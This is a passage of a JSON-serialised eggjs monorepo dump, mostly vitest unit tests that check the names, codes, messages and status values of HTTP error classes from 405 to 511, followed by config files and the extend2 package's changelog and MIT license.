    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { MethodNotAllowedError, E405 } from '../../src/index.ts';\n\ndescribe('test/http/405.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new MethodNotAllowedError();\n    assert(err.code === 'METHOD_NOT_ALLOWED');\n    assert(err.message === 'Method Not Allowed');\n    assert(err.name === 'MethodNotAllowedError');\n    assert(err.status === 405);\n  });\n\n  it('should alias to short name E405', () => {\n    const err = new E405();\n    assert(err.code === 'METHOD_NOT_ALLOWED');\n    assert(err.message === 'Method Not Allowed');\n    assert(err.name === 'MethodNotAllowedError');\n    assert(err.status === 405);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/406.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { NotAcceptableError, E406 } from '../../src/index.ts';\n\ndescribe('test/http/406.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new NotAcceptableError();\n    assert(err.code === 'NOT_ACCEPTABLE');\n    assert(err.message === 'Not Acceptable');\n    assert(err.name === 'NotAcceptableError');\n    assert(err.status === 406);\n  });\n\n  it('should alias to short name E406', () => {\n    const err = new E406();\n    assert(err.code === 'NOT_ACCEPTABLE');\n    assert(err.message === 'Not Acceptable');\n    assert(err.name === 'NotAcceptableError');\n    assert(err.status === 406);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/407.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { ProxyAuthenticationRequiredError, E407 } from '../../src/index.ts';\n\ndescribe('test/http/407.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new ProxyAuthenticationRequiredError();\n    assert(err.code === 'PROXY_AUTHENTICATION_REQUIRED');\n    assert(err.message === 'Proxy Authentication Required');\n    assert(err.name === 'ProxyAuthenticationRequiredError');\n    assert(err.status === 407);\n  });\n\n  it('should alias to short name E407', () => {\n    const err = new E407();\n    assert(err.code === 'PROXY_AUTHENTICATION_REQUIRED');\n    assert(err.message === 'Proxy Authentication Required');\n    assert(err.name === 'ProxyAuthenticationRequiredError');\n    assert(err.status === 407);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/408.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { RequestTimeoutError, E408 } from '../../src/index.ts';\n\ndescribe('test/http/408.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new RequestTimeoutError();\n    assert(err.code === 'REQUEST_TIMEOUT');\n    assert(err.message === 'Request Timeout');\n    assert(err.name === 'RequestTimeoutError');\n    assert(err.status === 408);\n  });\n\n  it('should alias to short name E408', () => {\n    const err = new E408();\n    assert(err.code === 'REQUEST_TIMEOUT');\n    assert(err.message === 'Request Timeout');\n    assert(err.name === 'RequestTimeoutError');\n    assert(err.status === 408);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/409.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { ConflictError, E409 } from '../../src/index.ts';\n\ndescribe('test/http/409.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new ConflictError();\n    assert(err.code === 'CONFLICT');\n    assert(err.message === 'Conflict');\n    assert(err.name === 'ConflictError');\n    assert(err.status === 409);\n  });\n\n  it('should alias to short name E409', () => {\n    const err = new E409();\n    assert(err.code === 'CONFLICT');\n    assert(err.message === 'Conflict');\n    assert(err.name === 'ConflictError');\n    assert(err.status === 409);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/410.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { GoneError, E410 } from '../../src/index.ts';\n\ndescribe('test/http/410.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new GoneError();\n    assert(err.code === 'GONE');\n    assert(err.message === 'Gone');\n    assert(err.name === 'GoneError');\n    assert(err.status === 410);\n  });\n\n  it('should alias to short name E410', () => {\n    const err = new E410();\n    assert(err.code === 'GONE');\n    assert(err.message === 'Gone');\n    assert(err.name === 'GoneError');\n    assert(err.status === 410);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/411.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { LengthRequiredError, E411 } from '../../src/index.ts';\n\ndescribe('test/http/411.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new LengthRequiredError();\n    assert(err.code === 'LENGTH_REQUIRED');\n    assert(err.message === 'Length Required');\n    assert(err.name === 'LengthRequiredError');\n    assert(err.status === 411);\n  });\n\n  it('should alias to short name E411', () => {\n    const err = new E411();\n    assert(err.code === 'LENGTH_REQUIRED');\n    assert(err.message === 'Length Required');\n    assert(err.name === 'LengthRequiredError');\n    assert(err.status === 411);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/412.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { PreconditionFailedError, E412 } from '../../src/index.ts';\n\ndescribe('test/http/412.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new PreconditionFailedError();\n    assert(err.code === 'PRECONDITION_FAILED');\n    assert(err.message === 'Precondition Failed');\n    assert(err.name === 'PreconditionFailedError');\n    assert(err.status === 412);\n  });\n\n  it('should alias to short name E412', () => {\n    const err = new E412();\n    assert(err.code === 'PRECONDITION_FAILED');\n    assert(err.message === 'Precondition Failed');\n    assert(err.name === 'PreconditionFailedError');\n    assert(err.status === 412);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/413.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { PayloadTooLargeError, E413 } from '../../src/index.ts';\n\ndescribe('test/http/413.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new PayloadTooLargeError();\n    assert(err.code === 'PAYLOAD_TOO_LARGE');\n    assert(err.message === 'Payload Too Large');\n    assert(err.name === 'PayloadTooLargeError');\n    assert(err.status === 413);\n  });\n\n  it('should alias to short name E413', () => {\n    const err = new E413();\n    assert(err.code === 'PAYLOAD_TOO_LARGE');\n    assert(err.message === 'Payload Too Large');\n    assert(err.name === 'PayloadTooLargeError');\n    assert(err.status === 413);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/414.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { URITooLongError, E414 } from '../../src/index.ts';\n\ndescribe('test/http/414.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new URITooLongError();\n    assert(err.code === 'URI_TOO_LONG');\n    assert(err.message === 'URI Too Long');\n    assert(err.name === 'URITooLongError');\n    assert(err.status === 414);\n  });\n\n  it('should alias to short name E414', () => {\n    const err = new E414();\n    assert(err.code === 'URI_TOO_LONG');\n    assert(err.message === 'URI Too Long');\n    assert(err.name === 'URITooLongError');\n    assert(err.status === 414);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/415.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { UnsupportedMediaTypeError, E415 } from '../../src/index.ts';\n\ndescribe('test/http/415.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new UnsupportedMediaTypeError();\n    assert(err.code === 'UNSUPPORTED_MEDIA_TYPE');\n    assert(err.message === 'Unsupported Media Type');\n    assert(err.name === 'UnsupportedMediaTypeError');\n    assert(err.status === 415);\n  });\n\n  it('should alias to short name E415', () => {\n    const err = new E415();\n    assert(err.code === 'UNSUPPORTED_MEDIA_TYPE');\n    assert(err.message === 'Unsupported Media Type');\n    assert(err.name === 'UnsupportedMediaTypeError');\n    assert(err.status === 415);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/416.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { RangeNotSatisfiableError, E416 } from '../../src/index.ts';\n\ndescribe('test/http/416.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new RangeNotSatisfiableError();\n    assert(err.code === 'RANGE_NOT_SATISFIABLE');\n    assert(err.message === 'Range Not Satisfiable');\n    assert(err.name === 'RangeNotSatisfiableError');\n    assert(err.status === 416);\n  });\n\n  it('should alias to short name E416', () => {\n    const err = new E416();\n    assert(err.code === 'RANGE_NOT_SATISFIABLE');\n    assert(err.message === 'Range Not Satisfiable');\n    assert(err.name === 'RangeNotSatisfiableError');\n    assert(err.status === 416);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/417.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { ExpectationFailedError, E417 } from '../../src/index.ts';\n\ndescribe('test/http/417.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new ExpectationFailedError();\n    assert(err.code === 'EXPECTATION_FAILED');\n    assert(err.message === 'Expectation Failed');\n    assert(err.name === 'ExpectationFailedError');\n    assert(err.status === 417);\n  });\n\n  it('should alias to short name E417', () => {\n    const err = new E417();\n    assert(err.code === 'EXPECTATION_FAILED');\n    assert(err.message === 'Expectation Failed');\n    assert(err.name === 'ExpectationFailedError');\n    assert(err.status === 417);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/418.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { ImATeapotError, E418 } from '../../src/index.ts';\n\ndescribe('test/http/418.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new ImATeapotError();\n    assert(err.code === 'IMA_TEAPOT');\n    assert(err.message === \"I'm a teapot\");\n    assert(err.name === 'ImATeapotError');\n    assert(err.status === 418);\n  });\n\n  it('should alias to short name E418', () => {\n    const err = new E418();\n    assert(err.code === 'IMA_TEAPOT');\n    assert(err.message === \"I'm a teapot\");\n    assert(err.name === 'ImATeapotError');\n    assert(err.status === 418);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/421.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { MisdirectedRequestError, E421 } from '../../src/index.ts';\n\ndescribe('test/http/421.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new MisdirectedRequestError();\n    assert(err.code === 'MISDIRECTED_REQUEST');\n    assert(err.message === 'Misdirected Request');\n    assert(err.name === 'MisdirectedRequestError');\n    assert(err.status === 421);\n  });\n\n  it('should alias to short name E421', () => {\n    const err = new E421();\n    assert(err.code === 'MISDIRECTED_REQUEST');\n    assert(err.message === 'Misdirected Request');\n    assert(err.name === 'MisdirectedRequestError');\n    assert(err.status === 421);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/422.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { UnprocessableEntityError, E422 } from '../../src/index.ts';\n\ndescribe('test/http/422.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new UnprocessableEntityError();\n    assert(err.code === 'UNPROCESSABLE_ENTITY');\n    assert(err.message === 'Unprocessable Entity');\n    assert(err.name === 'UnprocessableEntityError');\n    assert(err.status === 422);\n  });\n\n  it('should alias to short name E422', () => {\n    const err = new E422();\n    assert(err.code === 'UNPROCESSABLE_ENTITY');\n    assert(err.message === 'Unprocessable Entity');\n    assert(err.name === 'UnprocessableEntityError');\n    assert(err.status === 422);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/423.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { LockedError, E423 } from '../../src/index.ts';\n\ndescribe('test/http/423.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new LockedError();\n    assert(err.code === 'LOCKED');\n    assert(err.message === 'Locked');\n    assert(err.name === 'LockedError');\n    assert(err.status === 423);\n  });\n\n  it('should alias to short name E423', () => {\n    const err = new E423();\n    assert(err.code === 'LOCKED');\n    assert(err.message === 'Locked');\n    assert(err.name === 'LockedError');\n    assert(err.status === 423);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/424.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { FailedDependencyError, E424 } from '../../src/index.ts';\n\ndescribe('test/http/424.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new FailedDependencyError();\n    assert(err.code === 'FAILED_DEPENDENCY');\n    assert(err.message === 'Failed Dependency');\n    assert(err.name === 'FailedDependencyError');\n    assert(err.status === 424);\n  });\n\n  it('should alias to short name E424', () => {\n    const err = new E424();\n    assert(err.code === 'FAILED_DEPENDENCY');\n    assert(err.message === 'Failed Dependency');\n    assert(err.name === 'FailedDependencyError');\n    assert(err.status === 424);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/425.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { UnorderedCollectionError, E425 } from '../../src/index.ts';\n\ndescribe('test/http/425.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new UnorderedCollectionError();\n    assert(err.code === 'UNORDERED_COLLECTION');\n    assert(err.message === 'Unordered Collection');\n    assert(err.name === 'UnorderedCollectionError');\n    assert(err.status === 425);\n  });\n\n  it('should alias to short name E425', () => {\n    const err = new E425();\n    assert(err.code === 'UNORDERED_COLLECTION');\n    assert(err.message === 'Unordered Collection');\n    assert(err.name === 'UnorderedCollectionError');\n    assert(err.status === 425);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/426.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { UpgradeRequiredError, E426 } from '../../src/index.ts';\n\ndescribe('test/http/426.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new UpgradeRequiredError();\n    assert(err.code === 'UPGRADE_REQUIRED');\n    assert(err.message === 'Upgrade Required');\n    assert(err.name === 'UpgradeRequiredError');\n    assert(err.status === 426);\n  });\n\n  it('should alias to short name E426', () => {\n    const err = new E426();\n    assert(err.code === 'UPGRADE_REQUIRED');\n    assert(err.message === 'Upgrade Required');\n    assert(err.name === 'UpgradeRequiredError');\n    assert(err.status === 426);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/428.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { PreconditionRequiredError, E428 } from '../../src/index.ts';\n\ndescribe('test/http/428.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new PreconditionRequiredError();\n    assert(err.code === 'PRECONDITION_REQUIRED');\n    assert(err.message === 'Precondition Required');\n    assert(err.name === 'PreconditionRequiredError');\n    assert(err.status === 428);\n  });\n\n  it('should alias to short name E428', () => {\n    const err = new E428();\n    assert(err.code === 'PRECONDITION_REQUIRED');\n    assert(err.message === 'Precondition Required');\n    assert(err.name === 'PreconditionRequiredError');\n    assert(err.status === 428);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/429.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { TooManyRequestsError, E429 } from '../../src/index.ts';\n\ndescribe('test/http/429.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new TooManyRequestsError();\n    assert(err.code === 'TOO_MANY_REQUESTS');\n    assert(err.message === 'Too Many Requests');\n    assert(err.name === 'TooManyRequestsError');\n    assert(err.status === 429);\n  });\n\n  it('should alias to short name E429', () => {\n    const err = new E429();\n    assert(err.code === 'TOO_MANY_REQUESTS');\n    assert(err.message === 'Too Many Requests');\n    assert(err.name === 'TooManyRequestsError');\n    assert(err.status === 429);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/431.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { RequestHeaderFieldsTooLargeError, E431 } from '../../src/index.ts';\n\ndescribe('test/http/431.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new RequestHeaderFieldsTooLargeError();\n    assert(err.code === 'REQUEST_HEADER_FIELDS_TOO_LARGE');\n    assert(err.message === 'Request Header Fields Too Large');\n    assert(err.name === 'RequestHeaderFieldsTooLargeError');\n    assert(err.status === 431);\n  });\n\n  it('should alias to short name E431', () => {\n    const err = new E431();\n    assert(err.code === 'REQUEST_HEADER_FIELDS_TOO_LARGE');\n    assert(err.message === 'Request Header Fields Too Large');\n    assert(err.name === 'RequestHeaderFieldsTooLargeError');\n    assert(err.status === 431);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/451.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { UnavailableForLegalReasonsError, E451 } from '../../src/index.ts';\n\ndescribe('test/http/451.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new UnavailableForLegalReasonsError();\n    assert(err.code === 'UNAVAILABLE_FOR_LEGAL_REASONS');\n    assert(err.message === 'Unavailable For Legal Reasons');\n    assert(err.name === 'UnavailableForLegalReasonsError');\n    assert(err.status === 451);\n  });\n\n  it('should alias to short name E451', () => {\n    const err = new E451();\n    assert(err.code === 'UNAVAILABLE_FOR_LEGAL_REASONS');\n    assert(err.message === 'Unavailable For Legal Reasons');\n    assert(err.name === 'UnavailableForLegalReasonsError');\n    assert(err.status === 451);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/500.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { InternalServerError, E500 } from '../../src/index.ts';\n\ndescribe('test/http/500.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new InternalServerError();\n    assert(err.code === 'INTERNAL_SERVER_ERROR');\n    assert(err.message === 'Internal Server Error');\n    assert(err.name === 'InternalServerError');\n    assert(err.status === 500);\n  });\n\n  it('should alias to short name E500', () => {\n    const err = new E500();\n    assert(err.code === 'INTERNAL_SERVER_ERROR');\n    assert(err.message === 'Internal Server Error');\n    assert(err.name === 'InternalServerError');\n    assert(err.status === 500);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/501.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { NotImplementedError, E501 } from '../../src/index.ts';\n\ndescribe('test/http/501.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new NotImplementedError();\n    assert(err.code === 'NOT_IMPLEMENTED');\n    assert(err.message === 'Not Implemented');\n    assert(err.name === 'NotImplementedError');\n    assert(err.status === 501);\n  });\n\n  it('should alias to short name E501', () => {\n    const err = new E501();\n    assert(err.code === 'NOT_IMPLEMENTED');\n    assert(err.message === 'Not Implemented');\n    assert(err.name === 'NotImplementedError');\n    assert(err.status === 501);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/502.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { BadGatewayError, E502 } from '../../src/index.ts';\n\ndescribe('test/http/502.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new BadGatewayError();\n    assert(err.code === 'BAD_GATEWAY');\n    assert(err.message === 'Bad Gateway');\n    assert(err.name === 'BadGatewayError');\n    assert(err.status === 502);\n  });\n\n  it('should alias to short name E502', () => {\n    const err = new E502();\n    assert(err.code === 'BAD_GATEWAY');\n    assert(err.message === 'Bad Gateway');\n    assert(err.name === 'BadGatewayError');\n    assert(err.status === 502);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/503.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { ServiceUnavailableError, E503 } from '../../src/index.ts';\n\ndescribe('test/http/503.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new ServiceUnavailableError();\n    assert(err.code === 'SERVICE_UNAVAILABLE');\n    assert(err.message === 'Service Unavailable');\n    assert(err.name === 'ServiceUnavailableError');\n    assert(err.status === 503);\n  });\n\n  it('should alias to short name E503', () => {\n    const err = new E503();\n    assert(err.code === 'SERVICE_UNAVAILABLE');\n    assert(err.message === 'Service Unavailable');\n    assert(err.name === 'ServiceUnavailableError');\n    assert(err.status === 503);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/504.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { GatewayTimeoutError, E504 } from '../../src/index.ts';\n\ndescribe('test/http/504.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new GatewayTimeoutError();\n    assert(err.code === 'GATEWAY_TIMEOUT');\n    assert(err.message === 'Gateway Timeout');\n    assert(err.name === 'GatewayTimeoutError');\n    assert(err.status === 504);\n  });\n\n  it('should alias to short name E504', () => {\n    const err = new E504();\n    assert(err.code === 'GATEWAY_TIMEOUT');\n    assert(err.message === 'Gateway Timeout');\n    assert(err.name === 'GatewayTimeoutError');\n    assert(err.status === 504);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/505.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { HTTPVersionNotSupportedError, E505 } from '../../src/index.ts';\n\ndescribe('test/http/505.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new HTTPVersionNotSupportedError();\n    assert(err.code === 'HTTP_VERSION_NOT_SUPPORTED');\n    assert(err.message === 'HTTP Version Not Supported');\n    assert(err.name === 'HTTPVersionNotSupportedError');\n    assert(err.status === 505);\n  });\n\n  it('should alias to short name E505', () => {\n    const err = new E505();\n    assert(err.code === 'HTTP_VERSION_NOT_SUPPORTED');\n    assert(err.message === 'HTTP Version Not Supported');\n    assert(err.name === 'HTTPVersionNotSupportedError');\n    assert(err.status === 505);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/506.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { VariantAlsoNegotiatesError, E506 } from '../../src/index.ts';\n\ndescribe('test/http/506.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new VariantAlsoNegotiatesError();\n    assert(err.code === 'VARIANT_ALSO_NEGOTIATES');\n    assert(err.message === 'Variant Also Negotiates');\n    assert(err.name === 'VariantAlsoNegotiatesError');\n    assert(err.status === 506);\n  });\n\n  it('should alias to short name E506', () => {\n    const err = new E506();\n    assert(err.code === 'VARIANT_ALSO_NEGOTIATES');\n    assert(err.message === 'Variant Also Negotiates');\n    assert(err.name === 'VariantAlsoNegotiatesError');\n    assert(err.status === 506);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/507.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { InsufficientStorageError, E507 } from '../../src/index.ts';\n\ndescribe('test/http/507.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new InsufficientStorageError();\n    assert(err.code === 'INSUFFICIENT_STORAGE');\n    assert(err.message === 'Insufficient Storage');\n    assert(err.name === 'InsufficientStorageError');\n    assert(err.status === 507);\n  });\n\n  it('should alias to short name E507', () => {\n    const err = new E507();\n    assert(err.code === 'INSUFFICIENT_STORAGE');\n    assert(err.message === 'Insufficient Storage');\n    assert(err.name === 'InsufficientStorageError');\n    assert(err.status === 507);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/508.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { LoopDetectedError, E508 } from '../../src/index.ts';\n\ndescribe('test/http/508.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new LoopDetectedError();\n    assert(err.code === 'LOOP_DETECTED');\n    assert(err.message === 'Loop Detected');\n    assert(err.name === 'LoopDetectedError');\n    assert(err.status === 508);\n  });\n\n  it('should alias to short name E508', () => {\n    const err = new E508();\n    assert(err.code === 'LOOP_DETECTED');\n    assert(err.message === 'Loop Detected');\n    assert(err.name === 'LoopDetectedError');\n    assert(err.status === 508);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/509.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { BandwidthLimitExceededError, E509 } from '../../src/index.ts';\n\ndescribe('test/http/509.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new BandwidthLimitExceededError();\n    assert(err.code === 'BANDWIDTH_LIMIT_EXCEEDED');\n    assert(err.message === 'Bandwidth Limit Exceeded');\n    assert(err.name === 'BandwidthLimitExceededError');\n    assert(err.status === 509);\n  });\n\n  it('should alias to short name E509', () => {\n    const err = new E509();\n    assert(err.code === 'BANDWIDTH_LIMIT_EXCEEDED');\n    assert(err.message === 'Bandwidth Limit Exceeded');\n    assert(err.name === 'BandwidthLimitExceededError');\n    assert(err.status === 509);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/510.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { NotExtendedError, E510 } from '../../src/index.ts';\n\ndescribe('test/http/510.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new NotExtendedError();\n    assert(err.code === 'NOT_EXTENDED');\n    assert(err.message === 'Not Extended');\n    assert(err.name === 'NotExtendedError');\n    assert(err.status === 510);\n  });\n\n  it('should alias to short name E510', () => {\n    const err = new E510();\n    assert(err.code === 'NOT_EXTENDED');\n    assert(err.message === 'Not Extended');\n    assert(err.name === 'NotExtendedError');\n    assert(err.status === 510);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/511.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { NetworkAuthenticationRequiredError, E511 } from '../../src/index.ts';\n\ndescribe('test/http/511.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new NetworkAuthenticationRequiredError();\n    assert(err.code === 'NETWORK_AUTHENTICATION_REQUIRED');\n    assert(err.message === 'Network Authentication Required');\n    assert(err.name === 'NetworkAuthenticationRequiredError');\n    assert(err.status === 511);\n  });\n\n  it('should alias to short name E511', () => {\n    const err = new E511();\n    assert(err.code === 'NETWORK_AUTHENTICATION_REQUIRED');\n    assert(err.message === 'Network Authentication Required');\n    assert(err.name === 'NetworkAuthenticationRequiredError');\n    assert(err.status === 511);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/index.test.ts",
    "content": "import { test, expect } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\ntest('export all should stable', () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "packages/errors/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/errors/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/extend2/.gitignore",
    "content": "node_modules\n.tshy*\ncoverage\ndist\n"
  },
  {
    "path": "packages/extend2/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.0.0](https://github.com/eggjs/extend2/compare/v3.0.0...v4.0.0) (2024-06-15)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.7.0 support\n\nhttps://github.com/eggjs/egg/issues/5257\n\n### Features\n\n* override array as primitive when deep merge ([#1](https://github.com/eggjs/extend2/issues/1)) ([00c66c0](https://github.com/eggjs/extend2/commit/00c66c07b331063a8edde66b046a5fde12a47cdc))\n* support cjs and esm both ([#4](https://github.com/eggjs/extend2/issues/4)) ([378e295](https://github.com/eggjs/extend2/commit/378e295b49ff60010740aa6c01046117144a7c79))\n\n\n### Bug Fixes\n\n* __proto__ copy ([#2](https://github.com/eggjs/extend2/issues/2)) ([aa332a5](https://github.com/eggjs/extend2/commit/aa332a59116c8398976434b57ea477c6823054f8))\n\n1.0.1 / 2021-12-31\n==================\n\n**fixes**\n  * [[`aa332a5`](http://github.com/eggjs/extend2/commit/aa332a59116c8398976434b57ea477c6823054f8)] - fix: __proto__ copy (#2) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.0.0 / 2017-03-06\n==================\n  * Initial commit\n"
  },
  {
    "path": "packages/extend2/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2017-present eggjs and other contributors.\nCopyright (c) 2014 Stefan Thomas\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "packages/extend2/README.md",
